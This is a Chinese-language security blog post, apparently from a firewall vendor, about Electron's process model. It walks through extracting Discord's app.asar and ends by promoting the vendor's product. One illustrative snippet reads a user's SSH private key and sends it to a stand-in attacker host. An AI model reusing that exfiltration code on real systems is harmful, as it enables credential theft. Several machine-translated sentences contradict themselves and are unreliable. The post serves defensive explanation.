# 你的电子应用程序里面到底有什么？我们提取了一个来找出答案

> Electron 将 Chromium 和 Node.js 捆绑到一个流程模型中。我们解压了一个真实的、已安装的应用程序的存档，以展示这对安全审查和网络防火墙意味着什么。

HisnLabs Security & Research Team · Published 2026-09-25
Canonical: https://hisnlabs.com/zh/blog/electron-forensic-footprint-desktop-web-apps-egress-nightmare

Electron 将 Chromium 渲染引擎与 Node.js 运行时相结合，以便一个 JavaScript 代码库可以作为 macOS、Windows 和 Linux 上的桌面应用程序发布。 Slack、Discord、Notion 和许多其他工具都是通过这种方式构建的，多年来 Microsoft Teams 也是如此。便利是真实的。因此，一个值得理解的结果是：Electron 应用程序不是一个具有单一权限级别的进程，并且其捆绑的源代码并不难读。

## 两个进程，两个权限级别

每个 Electron 应用程序都有一个主进程，它运行具有正常操作系统级文件和网络访问的完整 Node.js，以及一个或多个渲染器进程，它在 Chromium 上下文中显示 Web 内容。 Electron 自己的 [安全文档](https://www.electronjs.org/docs/latest/tutorial/security) 明确指出了模糊界限的风险：“最重要的是，不要在任何加载远程内容的渲染器中启用 Node.js 集成”，因为这样做会消除网页和操作系统之间的障碍。它所说的修复不是“信任内容”，而是架构：将 Node 访问排除在渲染器之外，并通过预加载脚本和 `contextBridge` API 只向其公开故意缩小的 API，并启用上下文隔离。

> **Warning:** 如果启用了 Node 集成的渲染器执行了攻击者控制的 JavaScript，例如通过其显示的内容中的跨站点脚本缺陷，该脚本将继承完整的 Node 访问权限：读取文件、生成进程、打开套接字。这不是一个假设的 Electron 脚注；而是一个假设的 Electron 脚注。这正是 Electron 自己的文档告诉开发人员进行设计时所针对的场景。

*说明：受损渲染器中的 Node 集成可以做什么*

```javascript
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)
```

## 存档不是秘密：提取真实的应用程序

大多数 Electron 应用程序将 JavaScript 和 HTML 发送到 `app.asar` 文件中。 Electron 自己的文档直接说明了这种格式的用途：“档案是只读的”，捆绑成一种格式的目的是“隐藏源代码以防止粗略检查”——这是它自己的措辞，而不是外部声明——同时在其他地方明确指出 ASAR 不提供加密。为了检查这在实践中意味着什么，我们使用 Electron 自己维护的打包程序在这台计算机上提取了当前安装的 macOS 版 Discord（版本 0.0.294）的真实副本。

*终端*

```console
$ npm install -g @electron/asar
$ asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
$ find ./discord_src -type f | wc -l
1056
```

一个命令生成了 1,056 个纯文件：可读的 JavaScript、`package.json` 和 Discord 自己的模块布局，正如 Electron 的文档所说的那样。无需反编译、无需逆向工程、无需密码。这不是Discord 的缺陷；而是Discord 的缺陷。这就是 ASAR 格式在设计上适用于每个 Electron 应用程序的方式。

## 真实的摘录显示了网络行为的哪些内容

由于源代码是纯文本形式，安全审查和搜索都变得微不足道。我们在提取的文件中搜索了两件事：Discord 实际设置了哪些 webPreferences，以及哪些主机名出现在其自己的代码中（不包括第三方 `node_modules`）。

*终端，上面真实摘录的结果*

```console
$ grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

$ grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org
```

为了公平对待我们测试的特定应用程序：Discord 的启动屏幕窗口完全遵循 Electron 的强化建议，`nodeIntegration: false` 和 `contextIsolation: true`。这值得明确说明而不是跳过。这并不是说 Discord 不安全；而是说 Discord 不安全。我们可以在几分钟内检查任何 Electron 应用程序，因为存档格式不会隐藏任何内容。大多数安装 Electron 应用程序的人从不看，大多数静态端点工具也不会看。

## 为什么二进制信任防火墙无法提供帮助

对于聊天应用程序来说，上述主机名都不是秘密或令人惊讶的，而这正是网络级防御的问题。通过代码签名决定的防火墙会看到一件事：一个经过公证的、Apple 签名的二进制文件在端口 443 上发出普通的 HTTPS 请求。它无法区分合法的 API 调用、捆绑的分析 SDK，以及在真正受损的渲染器中的渗透尝试。这三个进程看起来都像是与互联网通信的同一个可信进程，因为它们是同一个进程。

- 通过代码签名来判断 Electron 应用程序并不能说明其许多捆绑依赖项中的哪一个正在建立哪些连接。
- 由于源代码是未加密存档中的纯 JavaScript，因此对于任何愿意运行 `asar extract` 的人来说，审计应用程序可以达到的目标是现实的，而不是理论上的。
- 不依赖于信任二进制文件的一种控制是每个进程、每个目标的网络策略：在套接字上决定允许给定应用程序访问的内容。

## FireAI 和 HisnLabs 在其中扮演的角色

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI 是 HisnLabs 自己的产品：一款直接在 Mac 上运行的 AI 防火墙。它用通俗易懂的语言显示你的应用建立的每一个连接，并让你决定哪些数据可以离开你的 Mac——它的 AI 在本地运行，因此你的流量永远不会发送给我们或任何其他人。HisnLabs 的安全研究团队负责让这些判断保持准确：归类哪些域名只是普通的遥测、哪些属于真正的服务，追踪连接背后的国家和网络，并用真实的流量模式训练设备端模型（FireAI Pilot 功能）——这一切都不会离开你的 Mac。

你可以阅读它背后的技术决策，或试用 FireAI 17 天：[HisnLabs 出品的 FireAI](https://hisnlabs.com/fireai/zh/download)。

## Sources

- [Electron: Security](https://www.electronjs.org/docs/latest/tutorial/security)
- [Electron: ASAR Archives](https://www.electronjs.org/docs/latest/tutorial/asar-archives)
- [Electron: Context Isolation](https://www.electronjs.org/docs/latest/tutorial/context-isolation)
- [@electron/asar (the packer/unpacker used below)](https://www.npmjs.com/package/@electron/asar)
